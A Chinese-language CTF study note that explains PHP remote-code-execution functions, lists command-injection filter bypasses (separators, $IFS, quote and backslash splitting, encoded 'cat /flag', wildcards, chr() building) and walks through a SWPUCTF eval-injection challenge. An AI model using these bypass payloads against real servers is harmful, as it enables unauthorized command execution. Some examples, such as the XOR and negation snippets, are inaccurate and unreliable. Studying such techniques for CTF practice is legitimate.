靶場:NSSCTF
三、RCE漏洞
1、概述
在Web應用開發中會讓應用調用代碼執行函數或系統命令執行函數處理,若應用對用戶的輸入過濾不嚴,容易產生遠程代碼執行漏洞或系統命令執行漏洞
所以常見的RCE漏洞函數又分為代碼執行函數和系統命令執行函數
2、常見RCE漏洞函數
<1>系統命令執行函數
(這些函數用于在服務器上執行操作系統級別的命令,比如在Linux上運行ls
列出目錄內容,或者在Windows上運行dir
)
system(): 能將字符串作為OS命令執行,且返回命令執行結果,即執行系統命令,并將輸出顯示到屏幕上
例如
system("ls -l");
這條命令會在服務器上運行ls -l
,列出當前目錄下的文件和文件夾,并將結果顯示到屏幕上
exec():能將字符串作為OS命令執行,但只返回執行結果的最后一行(約等于無回顯)(執行系統命令,但不會直接顯示輸出。輸出可以被捕獲到一個變量中)
如
$output = [];
exec("ls -l", $output);
print_r($output);
這條命令會在服務器上運行ls -l
,并將輸出存儲到$output
數組中,可以通過print_r
查看輸出內容?
shell_exec():能將字符串作為OS命令執行,只調用命令不返回任何結果,但把命令的運行結果原樣輸出到標準輸出設備上,即執行系統命令,并將輸出作為字符串返回
例如
$output = shell_exec("ls -l");
echo $output;
這條命令會在服務器上運行ls -l
,并將輸出作為字符串返回,可以通過echo
將結果顯示出來。
passthru():能將字符串作為OS命令執行,只調用命令不返回任何結果,但把命令的運行結果原樣輸出到標準輸出設備上,即執行系統命令,并將原始輸出直接輸出到屏幕上
例如
passthru("ls -l");
這條命令會在服務器上運行ls -l
,并將原始輸出直接顯示在屏幕上,不會進行任何處理。
popen():打開進程文件指針 ,也就是打開一個進程管道,用于執行系統命令,并可以讀取或寫入數據。
例如
$handle = popen("ls -l", "r");
$output = fread($handle, 2096);
pclose($handle);
echo $output;
這條命令會在服務器上運行ls -l
,并通過popen
打開一個管道,你可以通過fread
讀取輸出內容
proc_open():與上面的popen()類似
pcntl_exec():在當前進程空間執行指定程序,其為 PHP 中的一個函數,用于在當前進程空間中執行指定的程序。它會替換當前進程的代碼,而不是啟動一個新的進程。這意味著當前 PHP 腳本會被中斷,新的程序會在同一個進程中運行。
例如假設我有一個 PHP 腳本,我想在其中執行一個外部程序(比如 ls
命令)
<?php
// 使用 pcntl_exec 執行外部程序
pcntl_exec('/bin/ls', ['-l', '/var/www/html']);
?>
/bin/ls
是要執行的程序路徑
['-l', '/var/www/html']
是傳遞給程序的參數,表示以長格式列出 /var/www/html
目錄下的文件?
" : 反引號內的字符串會被解析為OS命令。在 PHP 中用于執行系統命令。反引號內的字符串會被解析為操作系統命令,并將命令的輸出作為字符串返回。
例如假設我有一個 PHP 腳本,你想在其中執行一個系統命令(比如 ls
命令)并捕獲輸出
<?php
// 使用反引號執行系統命令并捕獲輸出
$output = `ls -l /var/www/html`;
echo $output;
?>
`ls -l /var/www/html`
是要執行的系統命令;
反引號內的命令會被執行,輸出會被存儲到 $output
變量中;
使用 echo
輸出捕獲的內容 。
<2>代碼執行函數
(這些函數用于在服務器上執行PHP代碼或其他編程語言的代碼。它們可以讓攻擊者直接執行惡意代碼,而不僅僅是系統命令)
eval():將字符串作為php代碼執行(或者說執行字符串中的php代碼)
例如
$code = "echo 'Hello, World!';";
eval($code);
這條命令會將字符串$code
中的PHP代碼執行,輸出Hello, World!
assert():也是將字符串作為php代碼執行(或執行字符串中的php代碼,與eval()類似)
例如
$code = "echo 'Hello, World!';";
assert($code);
這條命令會將字符串$code
中的PHP代碼執行,輸出Hello, World!
?
preg_replace():這則匹配替換字符串
create_function():主要創建匿名函數,并執行其中的代碼
例如
$code = "echo 'Hello, World!';";
$func = create_function('', $code);
$func();
這條命令會創建一個匿名函數,將字符串$code
中的PHP代碼作為函數體,然后調用這個函數,輸出Hello, World!
?
call_user_func():回調函數,第一個參數為函數名,第二個參數為函數的參數,即調用一個用戶定義的函數
例如
function my_function() {echo 'Hello, World!';
}
call_user_func('my_function');
這條命令會調用my_function
函數,輸出Hello, World!
?
call_user_func_arry():回調函數,第一個參數為函數名,第二個參數為函數的參數,即調用一個用戶定義的函數,并傳遞參數。
例如
function my_function($name) {echo "Hello, $name!";
}
call_user_func_array('my_function', ['World']);
這條命令會調用my_function
函數,并傳遞參數'World'
,輸出Hello, World!
?
可變函數:若變量有括號,該變量會被當做函數名為變量值(前提是該變量值是存在的函數名)的函數執行
通俗的理解:
想象一下,你有一個遙控器,可以控制一臺電視。系統命令執行函數就像是遙控器上的按鈕,你可以按這些按鈕來讓電視執行某些操作,比如換臺、調節音量等。而代碼執行函數就像是直接控制電視內部的電路板,你可以讓電視做任何你想做的事情,比如顯示自定義的圖像或播放自定義的音頻
3、RCE繞過
管道符 繞過
如果管道符(|
)被過濾,可以使用分號(;
)、雙與(&&
)或雙或(||
)
管道符 | 實例 | 描述 |
; | A;B | 無論真假,A與B都執行 |
& | A&B | 無論真假,A與B都執行 |
&& | A&&B | A為真時才執行B,否則只執行A |
| | A|B | 顯示B的執行結果 |
|| | A||B | A為假時才執行B,否則只執行A |
空格過濾 繞過
如果空格被過濾,可以使用$IFS
、制表符(%09
)或大括號({}
)
以下可代替空格 | ||
< | <> | %20(即space) |
%09(即tab) | $IFS$9 | ${IFS} |
$IFS | {cat,/flag} |
反斜杠\ 繞過
如果某些命令或字符被過濾,可以使用反斜杠(\
)來繞過
//如cat、ls被過濾,使用\繞過
c\at /flag
l\s /
取反 繞過
通過取反操作來生成目標字符串
$a = "cat";
$b = ~$a; // 取反操作
$cmd = $b;
異或 繞過
通過異或操作來生成目標字符串
$a = "cat";
$b = $a ^ "dog"; // 異或操作
$cmd = $b;
自增 繞過
通過自增操作來生成目標字符串
$a = "ca";
$a++; // 自增操作
$cmd = $a;
黑名單 繞過
如果某些命令或函數被過濾,可以嘗試變量拼接或內聯執行
// 原始命令
$cmd = "cat /flag";
// 繞過
$b = "ag";
$cmd = "cat /fl$b";
正則匹配 繞過
如果某些字符或模式被正則過濾,可以使用通配符或正則表達式
// 原始命令
$cmd = "cat /flag";
// 繞過
$cmd = "cat /f???";
// 或者
$cmd = "cat /fl[a-z]{3}";
引號繞過
//如cat、ls被過濾ca""t /flagl's' /
cat替換命令
more | less | cat | tac |
head | tail | vi | vim |
nl | od | sort | uniq |
tac | 與cat相反,按行反向輸出 |
more | 按頁顯示,用于文件內容較多且不能滾動屏幕時查看文件 |
less | 與more類似 |
tail | 查看文件末幾行 |
head | 查看文件首幾行 |
nl | 在cat查看文件的基礎上顯示行號 |
od | 以二進制方式讀文件,od -A d -c /flag轉人可讀字符 |
xxd | 以二進制方式讀文件,同時有可讀字符顯示 |
sort | 排序文件 |
uniq | 報告或刪除文件的重復行 |
file -f | 報錯文件內容 |
grep | 過濾查找字符串,grep flag /flag |
base編碼繞過
Base64編碼可以將命令編碼為ASCII字符串,然后在目標系統上解碼并執行
假設過濾器會過濾掉某些字符,可以使用Base64編碼
$encoded_cmd = "Y2F0IC9mbGFn"; // Base64編碼后的 "cat /flag"
$decoded_cmd = base64_decode($encoded_cmd);
system($decoded_cmd);
Hex編碼繞過
Hex編碼可以將命令編碼為十六進制字符串,然后在目標系統上解碼并執行
假設過濾器會過濾掉某些字符,可以使用Hex編碼
$hex_cmd = "636174202f666c6167"; // Hex編碼后的 "cat /flag"
$decoded_cmd = hex2bin($hex_cmd);
system($decoded_cmd);
回溯 繞過
回溯繞過通常用于繞過對某些字符或命令的直接過濾。通過構造復雜的表達式,讓過濾器在解析時出現錯誤或繞過
假設過濾器會直接過濾掉 cat
命令,可以使用回溯繞過:
$cmd = "ca"."t /flag";
system($cmd);
無回顯RCE
將執行結果輸出到文件中,再訪問文件
// 原始命令
$cmd = "ls -l";
// 繞過
$cmd = "ls -l > /tmp/output";
// 然后訪問 /tmp/output 文件
無參數RCE
利用某些函數不需要參數的特性
// 原始命令
$cmd = "id";
// 繞過
$cmd = "id > /tmp/output";
無字母數字RCE
假設過濾器會過濾掉所有字母和數字,可以使用chr
函數來生成目標命令
<?php
// 使用 chr 函數生成字符
$cmd = chr(99) . chr(97) . chr(116) . " " . chr(47) . chr(102) . chr(108) . chr(97) . chr(103);// 執行命令
system($cmd);
?>
代碼解釋:
<1>這里的char函數:
chr
函數用于生成指定ASCII值的字符;
例如:
-
chr(99)
生成字符c
-
chr(97)
生成字符a
-
chr(116)
生成字符t
-
chr(47)
生成字符/
-
chr(102)
生成字符f
-
chr(108)
生成字符l
-
chr(97)
生成字符a
-
chr(103)
生成字符
?(其實就是從字符a開始,對應char(97),依次往后遞增:b是char(98);c是char(99);d是char(100)...)
<2>字符串拼接
使用點 (.)?將生成的字符拼接成完整的命令字符串
<3>執行命令
使用system
函數執行拼接后的命令
假設目標系統中有一個文件/flag
,運行上述代碼后,會輸出/flag
文件的內容
?總之通過使用chr
函數生成字符,并通過字符串拼接構造命令,可以在不使用字母和數字的情況下實現無字母數字RCE。這種方法可以有效繞過嚴格的輸入過濾器
理論完了接下來就是實踐
【SWPUCTF 2021 新生賽】easyrce
查看源代碼
可以看到源碼使用了eval()函數接收GET傳參的url參數(上面說過,eval()函數會將字符串作為php代碼執行)
這樣就比較簡單了,只要題目沒有對我們的輸入內容進行嚴格的過濾,直接利用eval()函數執行php惡意代碼就可以達到我們的目的
比如我現在利用phpinfo();語句查看php信息
可以看到PHP配置信息,說明服務器執行了phpinfo()函數(即上面所說代碼執行函數)
假如現在我再換一個系統命令執行函數(system()???? 命令:?url=system("ls -l");)
可以看到列出了當前目錄下的文件和文件夾 (即上面所說系統命令執行函數)
那既然解題時是為了flag而來,就應該想想怎么利用這些東西來get flag
這里說一下這兩個函數的區別:
system("ls /");
這個命令表示列出根目錄下的文件和名稱 ;
system("ls -l");
而這個命令表示的是以長格式列出當前工作目錄下的文件和目錄詳細信息
然后我剛剛用的是這個命令:system("ls -l");
回顯這一串
這表示的是當前工作目錄下只有一個文件index.php,還顯示了該文件的詳細信息:total 4 -rw-rw-r-- 1 root root 109 Oct 2 2021 (不用管它啥意思,只用知道它是index.php的詳細信息)
那這樣說的話假如我換命令system("ls /l"); 也就是列出根目錄下的文件和名稱, 回顯肯定是不同的,那就執行一下看看:
可以看到回顯出的根目錄,其的確與回顯當前工作目錄文件名的命令不一樣,這說明PHP腳本的當前工作目錄不是根目錄(/
),而是某個特定的目錄,例如腳本所在的目錄
這樣也就提醒了我以后盡量先用找根目錄的命令(system("ls /");),這樣一層層往里剝
誒其中的flllllaaaaaaggggggg目錄明顯就是提醒flag所在,那就針對這個目錄即可
然后由于比較簡單,一 cat就出flag了(Linux的OS命令cat:顯示文件內容)